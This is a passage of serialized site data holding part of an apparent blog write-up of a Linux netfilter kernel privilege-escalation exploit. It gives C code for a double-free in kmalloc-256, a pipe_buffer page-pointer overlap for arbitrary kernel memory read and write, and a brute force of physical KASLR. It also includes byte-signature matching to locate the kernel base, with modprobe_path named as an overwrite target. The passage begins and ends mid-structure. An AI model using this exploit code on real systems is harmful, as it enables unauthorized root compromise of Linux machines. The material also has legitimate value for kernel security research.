0xdeadbeefcafebabe",{"type":26,"tag":217,"props":113084,"children":113085},{"style":7048},[113086],{"type":32,"value":7162},{"type":26,"tag":217,"props":113088,"children":113089},{"class":7028,"line":7621},[113090,113095,113099,113104,113108],{"type":26,"tag":217,"props":113091,"children":113092},{"style":7054},[113093],{"type":32,"value":113094},"        msg",{"type":26,"tag":217,"props":113096,"children":113097},{"style":7048},[113098],{"type":32,"value":10115},{"type":26,"tag":217,"props":113100,"children":113101},{"style":7054},[113102],{"type":32,"value":113103},"mtype",{"type":26,"tag":217,"props":113105,"children":113106},{"style":7149},[113107],{"type":32,"value":8993},{"type":26,"tag":217,"props":113109,"children":113110},{"style":7048},[113111],{"type":32,"value":113112}," MTYPE_PRIMARY;\n",{"type":26,"tag":217,"props":113114,"children":113115},{"class":7028,"line":7672},[113116,113121,113125,113129,113134,113138,113142,113147,113151,113155],{"type":26,"tag":217,"props":113117,"children":113118},{"style":7064},[113119],{"type":32,"value":113120},"        msgsnd",{"type":26,"tag":217,"props":113122,"children":113123},{"style":7048},[113124],{"type":32,"value":1851},{"type":26,"tag":217,"props":113126,"children":113127},{"style":7054},[113128],{"type":32,"value":112926},{"type":26,"tag":217,"props":113130,"children":113131},{"style":7048},[113132],{"type":32,"value":113133},"[i], msg, ",{"type":26,"tag":217,"props":113135,"children":113136},{"style":7130},[113137],{"type":32,"value":111036},{"type":26,"tag":217,"props":113139,"children":113140},{"style":7149},[113141],{"type":32,"value":12618},{"type":26,"tag":217,"props":113143,"children":113144},{"style":7130},[113145],{"type":32,"value":113146}," 48",{"type":26,"tag":217,"props":113148,"children":113149},{"style":7048},[113150],{"type":32,"value":7599},{"type":26,"tag":217,"props":113152,"children":113153},{"style":7130},[113154],{"type":32,"value":1883},{"type":26,"tag":217,"props":113156,"children":113157},{"style":7048},[113158],{"type":32,"value":7669},{"type":26,"tag":217,"props":113160,"children":113161},{"class":7028,"line":7681},[113162,113166,113170,113174,113178],{"type":26,"tag":217,"props":113163,"children":113164},{"style":7054},[113165],{"type":32,"value":113094},{"type":26,"tag":217,"props":113167,"children":113168},{"style":7048},[113169],{"type":32,"value":10115},{"type":26,"tag":217,"props":113171,"children":113172},{"style":7054},[113173],{"type":32,"value":113103},{"type":26,"tag":217,"props":113175,"children":113176},{"style":7149},[113177],{"type":32,"value":8993},{"type":26,"tag":217,"props":113179,"children":113180},{"style":7048},[113181],{"type":32,"value":113182}," MTYPE_SECONDARY;\n",{"type":26,"tag":217,"props":113184,"children":113185},{"class":7028,"line":7754},[113186,113190,113194,113198,113202,113206,113210,113214,113218,113222],{"type":26,"tag":217,"props":113187,"children":113188},{"style":7064},[113189],{"type":32,"value":113120},{"type":26,"tag":217,"props":113191,"children":113192},{"style":7048},[113193],{"type":32,"value":1851},{"type":26,"tag":217,"props":113195,"children":113196},{"style":7054},[113197],{"type":32,"value":112926},{"type":26,"tag":217,"props":113199,"children":113200},{"style":7048},[113201],{"type":32,"value":113133},{"type":26,"tag":217,"props":113203,"children":113204},{"style":7130},[113205],{"type":32,"value":14326},{"type":26,"tag":217,"props":113207,"children":113208},{"style":7149},[113209],{"type":32,"value":12618},{"type":26,"tag":217,"props":113211,"children":113212},{"style":7130},[113213],{"type":32,"value":113146},{"type":26,"tag":217,"props":113215,"children":113216},{"style":7048},[113217],{"type":32,"value":7599},{"type":26,"tag":217,"props":113219,"children":113220},{"style":7130},[113221],{"type":32,"value":1883},{"type":26,"tag":217,"props":113223,"children":113224},{"style":7048},[113225],{"type":32,"value":7669},{"type":26,"tag":217,"props":113227,"children":113228},{"class":7028,"line":7784},[113229],{"type":26,"tag":217,"props":113230,"children":113231},{"style":7048},[113232],{"type":32,"value":9754},{"type":26,"tag":217,"props":113234,"children":113235},{"class":7028,"line":7802},[113236],{"type":26,"tag":217,"props":113237,"children":113238},{"style":7033},[113239],{"type":32,"value":113240},"    // Prepare evil msg\n",{"type":26,"tag":217,"props":113242,"children":113243},{"class":7028,"line":7811},[113244,113248,113253,113257,113261,113265,113269,113273],{"type":26,"tag":217,"props":113245,"children":113246},{"style":7154},[113247],{"type":32,"value":9667},{"type":26,"tag":217,"props":113249,"children":113250},{"style":7048},[113251],{"type":32,"value":113252}," evilqid ",{"type":26,"tag":217,"props":113254,"children":113255},{"style":7149},[113256],{"type":32,"value":267},{"type":26,"tag":217,"props":113258,"children":113259},{"style":7064},[113260],{"type":32,"value":112891},{"type":26,"tag":217,"props":113262,"children":113263},{"style":7048},[113264],{"type":32,"value":112896},{"type":26,"tag":217,"props":113266,"children":113267},{"style":7130},[113268],{"type":32,"value":112901},{"type":26,"tag":217,"props":113270,"children":113271},{"style":7149},[113272],{"type":32,"value":92019},{"type":26,"tag":217,"props":113274,"children":113275},{"style":7048},[113276],{"type":32,"value":112910},{"type":26,"tag":217,"props":113278,"children":113279},{"class":7028,"line":7820},[113280,113284,113289,113293,113297],{"type":26,"tag":217,"props":113281,"children":113282},{"style":7042},[113283],{"type":32,"value":9710},{"type":26,"tag":217,"props":113285,"children":113286},{"style":7048},[113287],{"type":32,"value":113288}," (evilqid ",{"type":26,"tag":217,"props":113290,"children":113291},{"style":7149},[113292],{"type":32,"value":7289},{"type":26,"tag":217,"props":113294,"children":113295},{"style":7130},[113296],{"type":32,"value":9922},{"type":26,"tag":217,"props":113298,"children":113299},{"style":7048},[113300],{"type":32,"value":10025},{"type":26,"tag":217,"props":113302,"children":113303},{"class":7028,"line":7844},[113304],{"type":26,"tag":217,"props":113305,"children":113306},{"style":7048},[113307],{"type":32,"value":37334},{"type":26,"tag":217,"props":113309,"children":113310},{"class":7028,"line":7910},[113311,113316,113320,113324],{"type":26,"tag":217,"props":113312,"children":113313},{"style":7064},[113314],{"type":32,"value":113315},"        perror",{"type":26,"tag":217,"props":113317,"children":113318},{"style":7048},[113319],{"type":32,"value":1851},{"type":26,"tag":217,"props":113321,"children":113322},{"style":7338},[113323],{"type":32,"value":112966},{"type":26,"tag":217,"props":113325,"children":113326},{"style":7048},[113327],{"type":32,"value":7669},{"type":26,"tag":217,"props":113329,"children":113330},{"class":7028,"line":7954},[113331],{"type":26,"tag":217,"props":113332,"children":113333},{"style":7048},[113334],{"type":32,"value":9754},{"type":26,"tag":217,"props":113336,"children":113337},{"class":7028,"line":7985},[113338],{"type":26,"tag":217,"props":113339,"children":113340},{"style":7048},[113341],{"type":32,"value":113342},"[...] // trigger double-free in kmalloc-256\n",{"type":26,"tag":607,"props":113344,"children":113346},{"id":113345},"using-pipe_buffer-page-pointer-for-physical-readwrite",[113347],{"type":32,"value":113348},"Using pipe_buffer->page pointer for physical read/write",{"type":26,"tag":39,"props":113350,"children":113351},{},[113352,113354,113360,113361,113367,113368,113374,113376,113382],{"type":32,"value":113353},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":26,"tag":83,"props":113355,"children":113357},{"className":113356},[],[113358],{"type":32,"value":113359},"kmalloc-1k",{"type":32,"value":1308},{"type":26,"tag":83,"props":113362,"children":113364},{"className":113363},[],[113365],{"type":32,"value":113366},"overlap pipe_buffer",{"type":32,"value":20851},{"type":26,"tag":83,"props":113369,"children":113371},{"className":113370},[],[113372],{"type":32,"value":113373},"skbuf",{"type":32,"value":113375}," data to control the ",{"type":26,"tag":83,"props":113377,"children":113379},{"className":113378},[],[113380],{"type":32,"value":113381},"page",{"type":32,"value":705},{"type":26,"tag":39,"props":113384,"children":113385},{},[113386,113387,113392,113394,113400,113402],{"type":32,"value":475},{"type":26,"tag":83,"props":113388,"children":113390},{"className":113389},[],[113391],{"type":32,"value":113381},{"type":32,"value":113393}," field is a pointer into ",{"type":26,"tag":83,"props":113395,"children":113397},{"className":113396},[],[113398],{"type":32,"value":113399},"vmemmap_base",{"type":32,"value":113401},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":26,"tag":6468,"props":113403,"children":113405},{"alt":9464,"src":113404},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":26,"tag":39,"props":113407,"children":113408},{},[113409,113411,113416],{"type":32,"value":113410},"This now allows us to navigate the ",{"type":26,"tag":83,"props":113412,"children":113414},{"className":113413},[],[113415],{"type":32,"value":113399},{"type":32,"value":113417}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":26,"tag":607,"props":113419,"children":113421},{"id":113420},"bruteforce-physical-kernel-base",[113422],{"type":32,"value":113423},"Bruteforce physical kernel base",{"type":26,"tag":39,"props":113425,"children":113426},{},[113427,113429,113435,113437,113442,113444,113450],{"type":32,"value":113428},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":26,"tag":83,"props":113430,"children":113432},{"className":113431},[],[113433],{"type":32,"value":113434},"modprobe_path",{"type":32,"value":113436},". Keep in mind that simply searching page by page from the start of ",{"type":26,"tag":83,"props":113438,"children":113440},{"className":113439},[],[113441],{"type":32,"value":113399},{"type":32,"value":113443}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":26,"tag":83,"props":113445,"children":113447},{"className":113446},[],[113448],{"type":32,"value":113449},"PHYSICAL_ALIGN",{"type":32,"value":113451}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":26,"tag":207,"props":113453,"children":113455},{"className":33132,"code":113454,"language":33131,"meta":8,"style":8},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[113456],{"type":26,"tag":83,"props":113457,"children":113458},{"__ignoreMap":8},[113459,113466,113474,113482,113506,113538,113558,113598,113605,113650,113684,113711,113747,113754,113801,113808,113838,113851,113915,113922,113934,113941,113948,113955,113981,113988,114008,114020,114027,114034,114041],{"type":26,"tag":217,"props":113460,"children":113461},{"class":7028,"line":7029},[113462],{"type":26,"tag":217,"props":113463,"children":113464},{"style":7048},[113465],{"type":32,"value":59466},{"type":26,"tag":217,"props":113467,"children":113468},{"class":7028,"line":6770},[113469],{"type":26,"tag":217,"props":113470,"children":113471},{"style":7048},[113472],{"type":32,"value":113473},"// Bruteforce phys-KASLR\n",{"type":26,"tag":217,"props":113475,"children":113476},{"class":7028,"line":6779},[113477],{"type":26,"tag":217,"props":113478,"children":113479},{"style":7048},[113480],{"type":32,"value":113481},"    uint64_t kernel_base;\n",{"type":26,"tag":217,"props":113483,"children":113484},{"class":7028,"line":7140},[113485,113489,113494,113498,113502],{"type":26,"tag":217,"props":113486,"children":113487},{"style":7154},[113488],{"type":32,"value":35373},{"type":26,"tag":217,"props":113490,"children":113491},{"style":7048},[113492],{"type":32,"value":113493}," found ",{"type":26,"tag":217,"props":113495,"children":113496},{"style":7149},[113497],{"type":32,"value":267},{"type":26,"tag":217,"props":113499,"children":113500},{"style":7154},[113501],{"type":32,"value":7795},{"type":26,"tag":217,"props":113503,"children":113504},{"style":7048},[113505],{"type":32,"value":7162},{"type":26,"tag":217,"props":113507,"children":113508},{"class":7028,"line":7165},[113509,113513,113517,113522,113526,113530,113534],{"type":26,"tag":217,"props":113510,"children":113511},{"style":7154},[113512],{"type":32,"value":35386},{"type":26,"tag":217,"props":113514,"children":113515},{"style":7054},[113516],{"type":32,"value":35391},{"type":26,"tag":217,"props":113518,"children":113519},{"style":7048},[113520],{"type":32,"value":113521},"[PAGE_SIZE] ",{"type":26,"tag":217,"props":113523,"children":113524},{"style":7149},[113525],{"type":32,"value":267},{"type":26,"tag":217,"props":113527,"children":113528},{"style":7048},[113529],{"type":32,"value":99972},{"type":26,"tag":217,"props":113531,"children":113532},{"style":7130},[113533],{"type":32,"value":1883},{"type":26,"tag":217,"props":113535,"children":113536},{"style":7048},[113537],{"type":32,"value":12331},{"type":26,"tag":217,"props":113539,"children":113540},{"class":7028,"line":7178},[113541,113545,113549,113554],{"type":26,"tag":217,"props":113542,"children":113543},{"style":7064},[113544],{"type":32,"value":110577},{"type":26,"tag":217,"props":113546,"children":113547},{"style":7048},[113548],{"type":32,"value":1851},{"type":26,"tag":217,"props":113550,"children":113551},{"style":7338},[113552],{"type":32,"value":113553},"\"[*] bruteforce phys-KASLR\"",{"type":26,"tag":217,"props":113555,"children":113556},{"style":7048},[113557],{"type":32,"value":7669},{"type":26,"tag":217,"props":113559,"children":113560},{"class":7028,"line":7389},[113561,113565,113569,113573,113577,113581,113585,113590,113594],{"type":26,"tag":217,"props":113562,"children":113563},{"style":7042},[113564],{"type":32,"value":12461},{"type":26,"tag":217,"props":113566,"children":113567},{"style":7048},[113568],{"type":32,"value":7051},{"type":26,"tag":217,"props":113570,"children":113571},{"style":7154},[113572],{"type":32,"value":15189},{"type":26,"tag":217,"props":113574,"children":113575},{"style":7048},[113576],{"type":32,"value":11221},{"type":26,"tag":217,"props":113578,"children":113579},{"style":7149},[113580],{"type":32,"value":267},{"type":26,"tag":217,"props":113582,"children":113583},{"style":7130},[113584],{"type":32,"value":9922},{"type":26,"tag":217,"props":113586,"children":113587},{"style":7048},[113588],{"type":32,"value":113589},";; i",{"type":26,"tag":217,"props":113591,"children":113592},{"style":7149},[113593],{"type":32,"value":11082},{"type":26,"tag":217,"props":113595,"children":113596},{"style":7048},[113597],{"type":32,"value":10025},{"type":26,"tag":217,"props":113599,"children":113600},{"class":7028,"line":7406},[113601],{"type":26,"tag":217,"props":113602,"children":113603},{"style":7048},[113604],{"type":32,"value":37334},{"type":26,"tag":217,"props":113606,"children":113607},{"class":7028,"line":7439},[113608,113613,113617,113622,113626,113631,113635,113640,113645],{"type":26,"tag":217,"props":113609,"children":113610},{"style":7048},[113611],{"type":32,"value":113612},"        kernel_base ",{"type":26,"tag":217,"props":113614,"children":113615},{"style":7149},[113616],{"type":32,"value":267},{"type":26,"tag":217,"props":113618,"children":113619},{"style":7130},[113620],{"type":32,"value":113621}," 0x40",{"type":26,"tag":217,"props":113623,"children":113624},{"style":7149},[113625],{"type":32,"value":9690},{"type":26,"tag":217,"props":113627,"children":113628},{"style":7048},[113629],{"type":32,"value":113630}," ((PHYSICAL_ALIGN ",{"type":26,"tag":217,"props":113632,"children":113633},{"style":7149},[113634],{"type":32,"value":10006},{"type":26,"tag":217,"props":113636,"children":113637},{"style":7048},[113638],{"type":32,"value":113639}," i) ",{"type":26,"tag":217,"props":113641,"children":113642},{"style":7149},[113643],{"type":32,"value":113644},">>",{"type":26,"tag":217,"props":113646,"children":113647},{"style":7048},[113648],{"type":32,"value":113649}," PAGE_SHIFT);\n",{"type":26,"tag":217,"props":113651,"children":113652},{"class":7028,"line":7487},[113653,113658,113662,113666,113670,113675,113679],{"type":26,"tag":217,"props":113654,"children":113655},{"style":7054},[113656],{"type":32,"value":113657},"        pipebuf",{"type":26,"tag":217,"props":113659,"children":113660},{"style":7048},[113661],{"type":32,"value":10115},{"type":26,"tag":217,"props":113663,"children":113664},{"style":7054},[113665],{"type":32,"value":113381},{"type":26,"tag":217,"props":113667,"children":113668},{"style":7149},[113669],{"type":32,"value":8993},{"type":26,"tag":217,"props":113671,"children":113672},{"style":7048},[113673],{"type":32,"value":113674}," vmemmap_base ",{"type":26,"tag":217,"props":113676,"children":113677},{"style":7149},[113678],{"type":32,"value":3540},{"type":26,"tag":217,"props":113680,"children":113681},{"style":7048},[113682],{"type":32,"value":113683}," kernel_base;\n",{"type":26,"tag":217,"props":113685,"children":113686},{"class":7028,"line":7524},[113687,113691,113695,113699,113703,113707],{"type":26,"tag":217,"props":113688,"children":113689},{"style":7054},[113690],{"type":32,"value":113657},{"type":26,"tag":217,"props":113692,"children":113693},{"style":7048},[113694],{"type":32,"value":10115},{"type":26,"tag":217,"props":113696,"children":113697},{"style":7054},[113698],{"type":32,"value":35030},{"type":26,"tag":217,"props":113700,"children":113701},{"style":7149},[113702],{"type":32,"value":8993},{"type":26,"tag":217,"props":113704,"children":113705},{"style":7130},[113706],{"type":32,"value":9922},{"type":26,"tag":217,"props":113708,"children":113709},{"style":7048},[113710],{"type":32,"value":7162},{"type":26,"tag":217,"props":113712,"children":113713},{"class":7028,"line":7553},[113714,113718,113722,113726,113730,113735,113739,113743],{"type":26,"tag":217,"props":113715,"children":113716},{"style":7054},[113717],{"type":32,"value":113657},{"type":26,"tag":217,"props":113719,"children":113720},{"style":7048},[113721],{"type":32,"value":10115},{"type":26,"tag":217,"props":113723,"children":113724},{"style":7054},[113725],{"type":32,"value":15325},{"type":26,"tag":217,"props":113727,"children":113728},{"style":7149},[113729],{"type":32,"value":8993},{"type":26,"tag":217,"props":113731,"children":113732},{"style":7048},[113733],{"type":32,"value":113734}," PAGE_SIZE ",{"type":26,"tag":217,"props":113736,"children":113737},{"style":7149},[113738],{"type":32,"value":3540},{"type":26,"tag":217,"props":113740,"children":113741},{"style":7130},[113742],{"type":32,"value":9742},{"type":26,"tag":217,"props":113744,"children":113745},{"style":7048},[113746],{"type":32,"value":7162},{"type":26,"tag":217,"props":113748,"children":113749},{"class":7028,"line":7570},[113750],{"type":26,"tag":217,"props":113751,"children":113752},{"style":7048},[113753],{"type":32,"value":59466},{"type":26,"tag":217,"props":113755,"children":113756},{"class":7028,"line":7621},[113757,113762,113766,113771,113775,113779,113784,113788,113793,113797],{"type":26,"tag":217,"props":113758,"children":113759},{"style":7048},[113760],{"type":32,"value":113761},"        for (",{"type":26,"tag":217,"props":113763,"children":113764},{"style":7154},[113765],{"type":32,"value":9619},{"type":26,"tag":217,"props":113767,"children":113768},{"style":7054},[113769],{"type":32,"value":113770}," j",{"type":26,"tag":217,"props":113772,"children":113773},{"style":7149},[113774],{"type":32,"value":8993},{"type":26,"tag":217,"props":113776,"children":113777},{"style":7130},[113778],{"type":32,"value":9922},{"type":26,"tag":217,"props":113780,"children":113781},{"style":7048},[113782],{"type":32,"value":113783},"; j ",{"type":26,"tag":217,"props":113785,"children":113786},{"style":7149},[113787],{"type":32,"value":7289},{"type":26,"tag":217,"props":113789,"children":113790},{"style":7048},[113791],{"type":32,"value":113792}," PIPE_SPRAY; j",{"type":26,"tag":217,"props":113794,"children":113795},{"style":7149},[113796],{"type":32,"value":11082},{"type":26,"tag":217,"props":113798,"children":113799},{"style":7048},[113800],{"type":32,"value":10025},{"type":26,"tag":217,"props":113802,"children":113803},{"class":7028,"line":7672},[113804],{"type":26,"tag":217,"props":113805,"children":113806},{"style":7048},[113807],{"type":32,"value":61312},{"type":26,"tag":217,"props":113809,"children":113810},{"class":7028,"line":7681},[113811,113816,113820,113824,113829,113833],{"type":26,"tag":217,"props":113812,"children":113813},{"style":7064},[113814],{"type":32,"value":113815},"            memset",{"type":26,"tag":217,"props":113817,"children":113818},{"style":7048},[113819],{"type":32,"value":1851},{"type":26,"tag":217,"props":113821,"children":113822},{"style":7149},[113823],{"type":32,"value":9804},{"type":26,"tag":217,"props":113825,"children":113826},{"style":7048},[113827],{"type":32,"value":113828},"data, ",{"type":26,"tag":217,"props":113830,"children":113831},{"style":7130},[113832],{"type":32,"value":1883},{"type":26,"tag":217,"props":113834,"children":113835},{"style":7048},[113836],{"type":32,"value":113837},", PAGE_SIZE);\n",{"type":26,"tag":217,"props":113839,"children":113840},{"class":7028,"line":7754},[113841,113846],{"type":26,"tag":217,"props":113842,"children":113843},{"style":7154},[113844],{"type":32,"value":113845},"            int",{"type":26,"tag":217,"props":113847,"children":113848},{"style":7048},[113849],{"type":32,"value":113850}," count;\n",{"type":26,"tag":217,"props":113852,"children":113853},{"class":7028,"line":7784},[113854,113858,113863,113867,113872,113876,113881,113886,113890,113894,113898,113903,113907,113911],{"type":26,"tag":217,"props":113855,"children":113856},{"style":7042},[113857],{"type":32,"value":59922},{"type":26,"tag":217,"props":113859,"children":113860},{"style":7048},[113861],{"type":32,"value":113862}," (count ",{"type":26,"tag":217,"props":113864,"children":113865},{"style":7149},[113866],{"type":32,"value":267},{"type":26,"tag":217,"props":113868,"children":113869},{"style":7064},[113870],{"type":32,"value":113871}," read",{"type":26,"tag":217,"props":113873,"children":113874},{"style":7048},[113875],{"type":32,"value":1851},{"type":26,"tag":217,"props":113877,"children":113878},{"style":7054},[113879],{"type":32,"value":113880},"pfd",{"type":26,"tag":217,"props":113882,"children":113883},{"style":7048},[113884],{"type":32,"value":113885},"[j][",{"type":26,"tag":217,"props":113887,"children":113888},{"style":7130},[113889],{"type":32,"value":1883},{"type":26,"tag":217,"props":113891,"children":113892},{"style":7048},[113893],{"type":32,"value":9799},{"type":26,"tag":217,"props":113895,"children":113896},{"style":7149},[113897],{"type":32,"value":9804},{"type":26,"tag":217,"props":113899,"children":113900},{"style":7048},[113901],{"type":32,"value":113902},"data, PAGE_SIZE) ",{"type":26,"tag":217,"props":113904,"children":113905},{"style":7149},[113906],{"type":32,"value":7289},{"type":26,"tag":217,"props":113908,"children":113909},{"style":7130},[113910],{"type":32,"value":9922},{"type":26,"tag":217,"props":113912,"children":113913},{"style":7048},[113914],{"type":32,"value":10025},{"type":26,"tag":217,"props":113916,"children":113917},{"class":7028,"line":7802},[113918],{"type":26,"tag":217,"props":113919,"children":113920},{"style":7048},[113921],{"type":32,"value":61436},{"type":26,"tag":217,"props":113923,"children":113924},{"class":7028,"line":7811},[113925,113930],{"type":26,"tag":217,"props":113926,"children":113927},{"style":7042},[113928],{"type":32,"value":113929},"                continue",{"type":26,"tag":217,"props":113931,"children":113932},{"style":7048},[113933],{"type":32,"value":7162},{"type":26,"tag":217,"props":113935,"children":113936},{"class":7028,"line":7820},[113937],{"type":26,"tag":217,"props":113938,"children":113939},{"style":7048},[113940],{"type":32,"value":36205},{"type":26,"tag":217,"props":113942,"children":113943},{"class":7028,"line":7844},[113944],{"type":26,"tag":217,"props":113945,"children":113946},{"style":7048},[113947],{"type":32,"value":59466},{"type":26,"tag":217,"props":113949,"children":113950},{"class":7028,"line":7910},[113951],{"type":26,"tag":217,"props":113952,"children":113953},{"emptyLinePlaceholder":17},[113954],{"type":32,"value":7817},{"type":26,"tag":217,"props":113956,"children":113957},{"class":7028,"line":7954},[113958,113963,113968,113972,113976],{"type":26,"tag":217,"props":113959,"children":113960},{"style":7048},[113961],{"type":32,"value":113962},"            if (",{"type":26,"tag":217,"props":113964,"children":113965},{"style":7119},[113966],{"type":32,"value":113967},"is_kernel_base",{"type":26,"tag":217,"props":113969,"children":113970},{"style":7048},[113971],{"type":32,"value":1851},{"type":26,"tag":217,"props":113973,"children":113974},{"style":7119},[113975],{"type":32,"value":33715},{"type":26,"tag":217,"props":113977,"children":113978},{"style":7048},[113979],{"type":32,"value":113980},")) // [1] identify kernel base\n",{"type":26,"tag":217,"props":113982,"children":113983},{"class":7028,"line":7985},[113984],{"type":26,"tag":217,"props":113985,"children":113986},{"style":7048},[113987],{"type":32,"value":61436},{"type":26,"tag":217,"props":113989,"children":113990},{"class":7028,"line":8027},[113991,113996,114000,114004],{"type":26,"tag":217,"props":113992,"children":113993},{"style":7048},[113994],{"type":32,"value":113995},"                found ",{"type":26,"tag":217,"props":113997,"children":113998},{"style":7149},[113999],{"type":32,"value":267},{"type":26,"tag":217,"props":114001,"children":114002},{"style":7154},[114003],{"type":32,"value":7902},{"type":26,"tag":217,"props":114005,"children":114006},{"style":7048},[114007],{"type":32,"value":7162},{"type":26,"tag":217,"props":114009,"children":114010},{"class":7028,"line":8035},[114011,114016],{"type":26,"tag":217,"props":114012,"children":114013},{"style":7042},[114014],{"type":32,"value":114015},"                break",{"type":26,"tag":217,"props":114017,"children":114018},{"style":7048},[114019],{"type":32,"value":7162},{"type":26,"tag":217,"props":114021,"children":114022},{"class":7028,"line":8067},[114023],{"type":26,"tag":217,"props":114024,"children":114025},{"style":7048},[114026],{"type":32,"value":36205},{"type":26,"tag":217,"props":114028,"children":114029},{"class":7028,"line":8107},[114030],{"type":26,"tag":217,"props":114031,"children":114032},{"style":7048},[114033],{"type":32,"value":8722},{"type":26,"tag":217,"props":114035,"children":114036},{"class":7028,"line":8145},[114037],{"type":26,"tag":217,"props":114038,"children":114039},{"emptyLinePlaceholder":17},[114040],{"type":32,"value":7817},{"type":26,"tag":217,"props":114042,"children":114043},{"class":7028,"line":8154},[114044],{"type":26,"tag":217,"props":114045,"children":114046},{"style":7048},[114047],{"type":32,"value":59466},{"type":26,"tag":39,"props":114049,"children":114050},{},[114051,114053,114057,114059,114065,114067,114071],{"type":32,"value":114052},"Notice that at ",{"type":26,"tag":217,"props":114054,"children":114055},{},[114056],{"type":32,"value":185},{"type":32,"value":114058}," we call the ",{"type":26,"tag":83,"props":114060,"children":114062},{"className":114061},[],[114063],{"type":32,"value":114064},"is_kernel_base()",{"type":32,"value":114066}," function. This is a function based on lau's exploit ",{"type":26,"tag":217,"props":114068,"children":114069},{},[114070],{"type":32,"value":25499},{"type":32,"value":114072}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":26,"tag":207,"props":114074,"children":114076},{"className":33132,"code":114075,"language":33131,"meta":8,"style":8},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[114077],{"type":26,"tag":83,"props":114078,"children":114079},{"__ignoreMap":8},[114080,114087,114116,114123,114131,114138,114146,114217,114279,114294,114301,114309,114377,114439,114500,114561,114623,114684,114745,114806,114867,114928,114989,115004,115011,115026,115033],{"type":26,"tag":217,"props":114081,"children":114082},{"class":7028,"line":7029},[114083],{"type":26,"tag":217,"props":114084,"children":114085},{"style":7048},[114086],{"type":32,"value":59466},{"type":26,"tag":217,"props":114088,"children":114089},{"class":7028,"line":6770},[114090,114095,114100,114104,114108,114112],{"type":26,"tag":217,"props":114091,"children":114092},{"style":7048},[114093],{"type":32,"value":114094},"static bool is_kernel_base(",{"type":26,"tag":217,"props":114096,"children":114097},{"style":7154},[114098],{"type":32,"value":114099},"unsigned",{"type":26,"tag":217,"props":114101,"children":114102},{"style":7154},[114103],{"type":32,"value":9685},{"type":26,"tag":217,"props":114105,"children":114106},{"style":7154},[114107],{"type":32,"value":9690},{"type":26,"tag":217,"props":114109,"children":114110},{"style":7054},[114111],{"type":32,"value":16933},{"type":26,"tag":217,"props":114113,"children":114114},{"style":7048},[114115],{"type":32,"value":10025},{"type":26,"tag":217,"props":114117,"children":114118},{"class":7028,"line":6779},[114119],{"type":26,"tag":217,"props":114120,"children":114121},{"style":7048},[114122],{"type":32,"value":10033},{"type":26,"tag":217,"props":114124,"children":114125},{"class":7028,"line":7140},[114126],{"type":26,"tag":217,"props":114127,"children":114128},{"style":7033},[114129],{"type":32,"value":114130},"    // thanks lau :)\n",{"type":26,"tag":217,"props":114132,"children":114133},{"class":7028,"line":7165},[114134],{"type":26,"tag":217,"props":114135,"children":114136},{"emptyLinePlaceholder":17},[114137],{"type":32,"value":7817},{"type":26,"tag":217,"props":114139,"children":114140},{"class":7028,"line":7178},[114141],{"type":26,"tag":217,"props":114142,"children":114143},{"style":7033},[114144],{"type":32,"value":114145},"    // get-sig 